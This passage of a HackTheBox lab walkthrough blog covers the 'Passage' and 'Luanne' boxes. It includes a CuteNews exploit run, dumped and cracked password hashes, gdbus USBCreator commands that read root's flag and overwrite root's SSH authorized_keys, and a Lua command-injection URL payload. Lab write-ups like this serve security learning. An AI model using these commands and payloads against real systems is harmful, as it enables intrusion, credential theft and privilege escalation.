alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;After running cewl against the home page, I identified CuteNews. There were also 11 posts, so each one needed to be crawled to build a directory-brute-force list.&lt;/p&gt;&#10;&lt;p&gt;The domain:&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0666.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0667.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I opened another page here to brute-force subdomains.&lt;/p&gt;&#10;&lt;p&gt;The page above also revealed the version: CuteNews 2.1.2.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0668.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I found the final exp.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0669.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I briefly reviewed how it worked.&lt;/p&gt;&#10;&lt;p&gt;It registered an account and then sent the payload. All I had to do was run it and enter the url. It was extremely simple.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0670.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I never imagined it would be that easy.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0671.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0672.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;A shell came back.&lt;/p&gt;&#10;&lt;p&gt;I started privilege escalation.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0673.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;These configuration files contained nothing. I searched google for the database configuration location.&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://www.drupal.org/forum/support/post-installation/2006-02-03/make-cutenews-data-to-mysql" target="_blank" rel="noopener"&#10; &gt;https://www.drupal.org/forum/support/post-installation/2006-02-03/make-cutenews-data-to-mysql&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0674.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I did find these two files, but they contained nothing.&lt;/p&gt;&#10;&lt;p&gt;linenum found many things.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0675.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0676.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;It was clearly started by root.&lt;/p&gt;&#10;&lt;p&gt;Regardless, I first tried cracking these.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;/usr/lib/python3/dist-packages/fail2ban/tests/files/config/apache-auth/basic/file/.htpasswd&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;username:$apr1$uUMsOjCQ$.BzXClI/B/vZKddgIAJCR.&#9;&#9;&#9;#foo&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;/usr/lib/python3/dist-packages/fail2ban/tests/files/config/apache-auth/basic/authz_owner/.htpasswd&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;username:$apr1$1f5oQUl4$21lLXSN7xQOPtNsj5s4Nk/&#9;&#9;&#9;#password&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;Only two cracked.&lt;/p&gt;&#10;&lt;p&gt;According to the explanation, the other hashes were not meant to be cracked. They were combined with site-specific elements to generate new hashes that served as credentials.&lt;/p&gt;&#10;&lt;p&gt;I abandoned this for the moment and returned my attention to the website, because my searches kept saying:&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0677.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;It used flat files for storage. Every post I found said the same thing: there was no database, and all data was stored in txt and similar files. Yet the exp clearly created a user, and that user did not appear in either of the two files just mentioned. That made no sense.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0678.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Searching for txt files revealed two users.txt files.&lt;/p&gt;&#10;&lt;p&gt;Unfortunately, neither contained anything useful. Digging further through the directories eventually revealed an important detail.&lt;/p&gt;&#10;&lt;p&gt;/var/www/html/CuteNews/cdata/users/lines&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0679.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I wrote a script and obtained the results.&lt;/p&gt;&#10;&#10; &lt;blockquote&gt;&#10; &lt;p&gt;b&amp;rsquo;a:1:{s:5:&amp;ldquo;email&amp;rdquo;;a:1:{s:16:&amp;ldquo;&lt;a class="link" href="mailto:paul@passage.htb" &gt;paul@passage.htb&lt;/a&gt;&amp;rdquo;;s:10:&amp;ldquo;paul-coles&amp;rdquo;;}}&amp;rsquo;&#10;b&amp;rsquo;a:1:{s:2:&amp;ldquo;id&amp;rdquo;;a:1:{i:1598829833;s:6:&amp;ldquo;egre55&amp;rdquo;;}}'&#10;b&amp;rsquo;a:1:{s:5:&amp;ldquo;email&amp;rdquo;;a:1:{s:15:&amp;ldquo;&lt;a class="link" href="mailto:egre55@test.com" &gt;egre55@test.com&lt;/a&gt;&amp;rdquo;;s:6:&amp;ldquo;egre55&amp;rdquo;;}}'&#10;b&amp;rsquo;a:1:{s:4:&amp;ldquo;name&amp;rdquo;;a:1:{s:5:&amp;ldquo;admin&amp;rdquo;;a:8:{s:2:&amp;ldquo;id&amp;rdquo;;s:10:&amp;ldquo;1592483047&amp;rdquo;;s:4:&amp;ldquo;name&amp;rdquo;;s:5:&amp;ldquo;admin&amp;rdquo;;s:3:&amp;ldquo;acl&amp;rdquo;;s:1:&amp;ldquo;1&amp;rdquo;;s:5:&amp;ldquo;email&amp;rdquo;;s:17:&amp;ldquo;&lt;a class="link" href="mailto:nadav@passage.htb" &gt;nadav@passage.htb&lt;/a&gt;&amp;rdquo;;s:4:&amp;ldquo;pass&amp;rdquo;;s:64:&amp;ldquo;7144a8b531c27a60b51d81ae16be3a81cef722e11b43a26fde0ca97f9e1485e1&amp;rdquo;;s:3:&amp;ldquo;lts&amp;rdquo;;s:10:&amp;ldquo;1592487988&amp;rdquo;;s:3:&amp;ldquo;ban&amp;rdquo;;s:1:&amp;ldquo;0&amp;rdquo;;s:3:&amp;ldquo;cnt&amp;rdquo;;s:1:&amp;ldquo;2&amp;rdquo;;}}}'&#10;b&amp;rsquo;a:1:{s:2:&amp;ldquo;id&amp;rdquo;;a:1:{i:1592483281;s:9:&amp;ldquo;sid-meier&amp;rdquo;;}}'&#10;b&amp;rsquo;a:1:{s:5:&amp;ldquo;email&amp;rdquo;;a:1:{s:17:&amp;ldquo;&lt;a class="link" href="mailto:nadav@passage.htb" &gt;nadav@passage.htb&lt;/a&gt;&amp;rdquo;;s:5:&amp;ldquo;admin&amp;rdquo;;}}'&#10;b&amp;rsquo;a:1:{s:5:&amp;ldquo;email&amp;rdquo;;a:1:{s:15:&amp;ldquo;&lt;a class="link" href="mailto:kim@example.com" &gt;kim@example.com&lt;/a&gt;&amp;rdquo;;s:9:&amp;ldquo;kim-swift&amp;rdquo;;}}'&#10;b&amp;rsquo;a:1:{s:2:&amp;ldquo;id&amp;rdquo;;a:1:{i:1592483236;s:10:&amp;ldquo;paul-coles&amp;rdquo;;}}'&#10;b&amp;rsquo;a:1:{s:4:&amp;ldquo;name&amp;rdquo;;a:1:{s:9:&amp;ldquo;sid-meier&amp;rdquo;;a:9:{s:2:&amp;ldquo;id&amp;rdquo;;s:10:&amp;ldquo;1592483281&amp;rdquo;;s:4:&amp;ldquo;name&amp;rdquo;;s:9:&amp;ldquo;sid-meier&amp;rdquo;;s:3:&amp;ldquo;acl&amp;rdquo;;s:1:&amp;ldquo;3&amp;rdquo;;s:5:&amp;ldquo;email&amp;rdquo;;s:15:&amp;ldquo;&lt;a class="link" href="mailto:sid@example.com" &gt;sid@example.com&lt;/a&gt;&amp;rdquo;;s:4:&amp;ldquo;nick&amp;rdquo;;s:9:&amp;ldquo;Sid Meier&amp;rdquo;;s:4:&amp;ldquo;pass&amp;rdquo;;s:64:&amp;ldquo;4bdd0a0bb47fc9f66cbf1a8982fd2d344d2aec283d1afaebb4653ec3954dff88&amp;rdquo;;s:3:&amp;ldquo;lts&amp;rdquo;;s:10:&amp;ldquo;1592485645&amp;rdquo;;s:3:&amp;ldquo;ban&amp;rdquo;;s:1:&amp;ldquo;0&amp;rdquo;;s:3:&amp;ldquo;cnt&amp;rdquo;;s:1:&amp;ldquo;2&amp;rdquo;;}}}'&#10;b&amp;rsquo;a:1:{s:2:&amp;ldquo;id&amp;rdquo;;a:1:{i:1592483047;s:5:&amp;ldquo;admin&amp;rdquo;;}}'&#10;b&amp;rsquo;a:1:{s:5:&amp;ldquo;email&amp;rdquo;;a:1:{s:15:&amp;ldquo;&lt;a class="link" href="mailto:sid@example.com" &gt;sid@example.com&lt;/a&gt;&amp;rdquo;;s:9:&amp;ldquo;sid-meier&amp;rdquo;;}}'&#10;b&amp;rsquo;a:1:{s:4:&amp;ldquo;name&amp;rdquo;;a:1:{s:10:&amp;ldquo;paul-coles&amp;rdquo;;a:9:{s:2:&amp;ldquo;id&amp;rdquo;;s:10:&amp;ldquo;1592483236&amp;rdquo;;s:4:&amp;ldquo;name&amp;rdquo;;s:10:&amp;ldquo;paul-coles&amp;rdquo;;s:3:&amp;ldquo;acl&amp;rdquo;;s:1:&amp;ldquo;2&amp;rdquo;;s:5:&amp;ldquo;email&amp;rdquo;;s:16:&amp;ldquo;&lt;a class="link" href="mailto:paul@passage.htb" &gt;paul@passage.htb&lt;/a&gt;&amp;rdquo;;s:4:&amp;ldquo;nick&amp;rdquo;;s:10:&amp;ldquo;Paul Coles&amp;rdquo;;s:4:&amp;ldquo;pass&amp;rdquo;;s:64:&amp;ldquo;e26f3e86d1f8108120723ebe690e5d3d61628f4130076ec6cb43f16f497273cd&amp;rdquo;;s:3:&amp;ldquo;lts&amp;rdquo;;s:10:&amp;ldquo;1592485556&amp;rdquo;;s:3:&amp;ldquo;ban&amp;rdquo;;s:1:&amp;ldquo;0&amp;rdquo;;s:3:&amp;ldquo;cnt&amp;rdquo;;s:1:&amp;ldquo;2&amp;rdquo;;}}}'&#10;b&amp;rsquo;a:1:{s:4:&amp;ldquo;name&amp;rdquo;;a:1:{s:9:&amp;ldquo;kim-swift&amp;rdquo;;a:9:{s:2:&amp;ldquo;id&amp;rdquo;;s:10:&amp;ldquo;1592483309&amp;rdquo;;s:4:&amp;ldquo;name&amp;rdquo;;s:9:&amp;ldquo;kim-swift&amp;rdquo;;s:3:&amp;ldquo;acl&amp;rdquo;;s:1:&amp;ldquo;3&amp;rdquo;;s:5:&amp;ldquo;email&amp;rdquo;;s:15:&amp;ldquo;&lt;a class="link" href="mailto:kim@example.com" &gt;kim@example.com&lt;/a&gt;&amp;rdquo;;s:4:&amp;ldquo;nick&amp;rdquo;;s:9:&amp;ldquo;Kim Swift&amp;rdquo;;s:4:&amp;ldquo;pass&amp;rdquo;;s:64:&amp;ldquo;f669a6f691f98ab0562356c0cd5d5e7dcdc20a07941c86adcfce9af3085fbeca&amp;rdquo;;s:3:&amp;ldquo;lts&amp;rdquo;;s:10:&amp;ldquo;1592487096&amp;rdquo;;s:3:&amp;ldquo;ban&amp;rdquo;;s:1:&amp;ldquo;0&amp;rdquo;;s:3:&amp;ldquo;cnt&amp;rdquo;;s:1:&amp;ldquo;3&amp;rdquo;;}}}'&#10;b&amp;rsquo;a:1:{s:4:&amp;ldquo;name&amp;rdquo;;a:1:{s:6:&amp;ldquo;egre55&amp;rdquo;;a:11:{s:2:&amp;ldquo;id&amp;rdquo;;s:10:&amp;ldquo;1598829833&amp;rdquo;;s:4:&amp;ldquo;name&amp;rdquo;;s:6:&amp;ldquo;egre55&amp;rdquo;;s:3:&amp;ldquo;acl&amp;rdquo;;s:1:&amp;ldquo;4&amp;rdquo;;s:5:&amp;ldquo;email&amp;rdquo;;s:15:&amp;ldquo;&lt;a class="link" href="mailto:egre55@test.com" &gt;egre55@test.com&lt;/a&gt;&amp;rdquo;;s:4:&amp;ldquo;nick&amp;rdquo;;s:6:&amp;ldquo;egre55&amp;rdquo;;s:4:&amp;ldquo;pass&amp;rdquo;;s:64:&amp;ldquo;4db1f0bfd63be058d4ab04f18f65331ac11bb494b5792c480faf7fb0c40fa9cc&amp;rdquo;;s:4:&amp;ldquo;more&amp;rdquo;;s:60:&amp;ldquo;YToyOntzOjQ6InNpdGUiO3M6MDoiIjtzOjU6ImFib3V0IjtzOjA6IiI7fQ==&amp;quot;;s:3:&amp;ldquo;lts&amp;rdquo;;s:10:&amp;ldquo;1598834079&amp;rdquo;;s:3:&amp;ldquo;ban&amp;rdquo;;s:1:&amp;ldquo;0&amp;rdquo;;s:6:&amp;ldquo;avatar&amp;rdquo;;s:26:&amp;ldquo;avatar_egre55_spwvgujw.php&amp;rdquo;;s:6:&amp;ldquo;e-hide&amp;rdquo;;s:0:&amp;rdquo;&amp;quot;;}}}'&#10;b&amp;rsquo;a:1:{s:2:&amp;ldquo;id&amp;rdquo;;a:1:{i:1592483309;s:9:&amp;ldquo;kim-swift&amp;rdquo;;}}'&lt;/p&gt;&#10;&#10; &lt;/blockquote&gt;&#10;&lt;p&gt;I organized the results.&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="mailto:nadav@passage.htb" &gt;nadav@passage.htb&lt;/a&gt; 7144a8b531c27a60b51d81ae16be3a81cef722e11b43a26fde0ca97f9e1485e1&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="mailto:sid@example.com" &gt;sid@example.com&lt;/a&gt;&#9;4bdd0a0bb47fc9f66cbf1a8982fd2d344d2aec283d1afaebb4653ec3954dff88&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="mailto:paul@passage.htb" &gt;paul@passage.htb&lt;/a&gt;&#9;e26f3e86d1f8108120723ebe690e5d3d61628f4130076ec6cb43f16f497273cd&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="mailto:kim@example.com" &gt;kim@example.com&lt;/a&gt;&#9;f669a6f691f98ab0562356c0cd5d5e7dcdc20a07941c86adcfce9af3085fbeca&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="mailto:egre55@test.com" &gt;egre55@test.com&lt;/a&gt;&#9;4db1f0bfd63be058d4ab04f18f65331ac11bb494b5792c480faf7fb0c40fa9cc&lt;/p&gt;&#10;&lt;p&gt;The password for &lt;a class="link" href="mailto:paul@passage.htb" &gt;paul@passage.htb&lt;/a&gt; was atlanta1.&lt;/p&gt;&#10;&lt;p&gt;The password for &lt;a class="link" href="mailto:egre55@test.com" &gt;egre55@test.com&lt;/a&gt; was egre55.&lt;/p&gt;&#10;&lt;p&gt;The others did not crack with rockyou, and online sites had no results either.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0680.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I successfully escalated to paul.&lt;/p&gt;&#10;&lt;p&gt;paul&amp;rsquo;s private key was under .ssh. I extracted it and prepared to connect over ssh.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0681.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;But while examining the public key, I noticed that the user at the end was not paul.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0682.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0683.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;They apparently used the same key pair.&lt;/p&gt;&#10;&lt;p&gt;I continued with privilege escalation.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0684.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;find / -group dip -not -path &amp;ldquo;/proc/*&amp;rdquo; 2&amp;gt;/dev/null&lt;/p&gt;&#10;&lt;p&gt;I did not find much belonging to the group.&lt;/p&gt;&#10;&lt;p&gt;Notably, nadav belonged to the sudo group, meaning he could run sudo. This differed from paul.&lt;/p&gt;&#10;&lt;p&gt;But sudo -l required a password. My current plan was therefore to find it. I searched everything and found no password at all.&lt;/p&gt;&#10;&lt;p&gt;I began looking at suid files and found something unfamiliar.&lt;/p&gt;&#10;&lt;p&gt;/bin/ntfs-3g&#9;I searched for a privilege-escalation method.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0685.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0686.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;It errored, so I investigated the cause.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0687.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;The errors mainly occurred at the final two points. I kept searching for vulnerabilities and found a very good post.&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://xz.aliyun.com/t/242?u_atoken=63a64819ab3b94f46e0bdb9298475dca&amp;amp;u_asig=0a472f9117302920303012094e00b0" target="_blank" rel="noopener"&#10; &gt;https://xz.aliyun.com/t/242?u_atoken=63a64819ab3b94f46e0bdb9298475dca&amp;amp;u_asig=0a472f9117302920303012094e00b0&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;It suggested using:&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://www.exploit-db.com/exploits/41356" target="_blank" rel="noopener"&#10; &gt;https://www.exploit-db.com/exploits/41356&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://project-zero.issues.chromium.org/issues/42450079" target="_blank" rel="noopener"&#10; &gt;https://project-zero.issues.chromium.org/issues/42450079&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;one of the two exps above. That was correct. I tried both, but each produced:&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0688.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;This path clearly did not work.&lt;/p&gt;&#10;&lt;p&gt;I had no ideas afterward, so I inspected the home directories again. Earlier I had focused only on passwords and missed this.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0689.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;This was not a conventional configuration file. I started searching for related vulnerabilities.&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://unit42.paloaltonetworks.com/usbcreator-d-bus-privilege-escalation-in-ubuntu-desktop/" target="_blank" rel="noopener"&#10; &gt;https://unit42.paloaltonetworks.com/usbcreator-d-bus-privilege-escalation-in-ubuntu-desktop/&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;The bottom of this page explained how to use it. Perhaps my search method was flawed, because this was the only article I found that actually showed the procedure, all the way at the bottom.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0690.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Once I had a command, I searched google for &amp;ldquo;gdbus call &amp;ndash;system &amp;ndash;dest com.ubuntu.USBCreator&amp;rdquo;.&lt;/p&gt;&#10;&lt;p&gt;That led to this site:&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://kashz.gitbook.io/kashz-jewels/services/usbcreator" target="_blank" rel="noopener"&#10; &gt;https://kashz.gitbook.io/kashz-jewels/services/usbcreator&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;Its commands were very detailed. I assembled the command:&lt;/p&gt;&#10;&lt;p&gt;gdbus call &amp;ndash;system &amp;ndash;dest com.ubuntu.USBCreator &amp;ndash;object-path /com/ubuntu/USBCreator &amp;ndash;method com.ubuntu.USBCreator.Image &amp;lsquo;/root/root.txt&amp;rsquo; &amp;lsquo;/tmp/1111.txt&amp;rsquo; true&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0691.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I obtained the flag, but I still wanted a proper privilege escalation. Since I could write arbitrary files:&lt;/p&gt;&#10;&lt;p&gt;gdbus call &amp;ndash;system &amp;ndash;dest com.ubuntu.USBCreator &amp;ndash;object-path /com/ubuntu/USBCreator &amp;ndash;method com.ubuntu.USBCreator.Image &amp;lsquo;/home/nadav/.ssh/authorized_keys&amp;rsquo; &amp;lsquo;/root/.ssh/authorized_keys&amp;rsquo; true&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0692.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Done.&lt;/p&gt;&#10;&lt;p&gt;This box was quite different from the earlier ones. The privilege-escalation methods in the later boxes are becoming increasingly varied, so I simply need to practice more of them.&lt;/p&gt;&#10;&lt;h2 id="29luanne"&gt;&lt;a href="#29luanne" class="header-anchor"&gt;&lt;/a&gt;29.Luanne&#10;&lt;/h2&gt;&lt;p&gt;Information gathering:&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0693.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0694.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="http://10.10.10.218/" target="_blank" rel="noopener"&#10; &gt;http://10.10.10.218/&lt;/a&gt; required a login, so I brute-forced it first.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0695.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0696.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;The request returned 404, so I continued brute-forcing.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0697.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0698.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Visiting it showed that this was a weather endpoint with a lua backend.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0699.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0700.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I consulted several articles. Since the backend was written in lua, command injection might be present.&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://www.stackhawk.com/blog/lua-command-injection-examples-and-prevention/" target="_blank" rel="noopener"&#10; &gt;https://www.stackhawk.com/blog/lua-command-injection-examples-and-prevention/&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://gtfobins.github.io/gtfobins/lua/" target="_blank" rel="noopener"&#10; &gt;https://gtfobins.github.io/gtfobins/lua/&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;Testing showed that commands could not be executed directly. It only returned the supplied input. A single quote produced an error, while most other inputs did not.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0701.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I checked the language documentation. The code might have been written this way: close the value with &amp;lsquo;, then use &amp;lsquo;; to execute another command. Since the output here was only a string, closing the preceding expression would let me append a command.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0702.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;That did not work in practice, so I kept trying. The closing syntax was probably wrong. This sort of command injection also required commenting out the trailing code so it would not interfere with mine.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0703.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;After a long search I found the correct closing syntax. The &amp;rsquo; was definitely relevant or it would not have caused an error, but a lone &amp;rsquo; did not work. After many more attempts, &amp;lsquo;) succeeded.&lt;/p&gt;&#10;&#10; &lt;blockquote&gt;&#10; &lt;p&gt;&lt;a class="link" href="http://10.10.10.218//weather/forecast?city=%27" target="_blank" rel="noopener"&#10; &gt;http://10.10.10.218//weather/forecast?city=%27)os.execute(%22id%22)&amp;ndash;+&lt;/a&gt;os.execute(%22id%22)&amp;ndash;+)&lt;/p&gt;&#10;&#10; &lt;/blockquote&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0704.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I then tried many times to get a reverse shell, without success. nc worked, but could not establish a shell connection.&lt;/p&gt;&#10;&lt;p&gt;I suspected the shell might be wrong. Testing showed that the current user&amp;rsquo;s shell was /bin/sh, yet it still would not connect back. I put the reverse shell aside and inspected other files first.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0705.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;There was a .htpasswd in the current directory.&lt;/p&gt;&#10;&lt;p&gt;It cracked to webapi_user:iamthebest.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0706.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Port 22 still did not work.&lt;/p&gt;&#10;&lt;p&gt;Neither did 9001.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0707.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;There was no /etc/passwd entry, meaning this was only a website account. Then I remembered that port 80 also had a login page.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0708.zh.webp" alt="" loading="lazy" 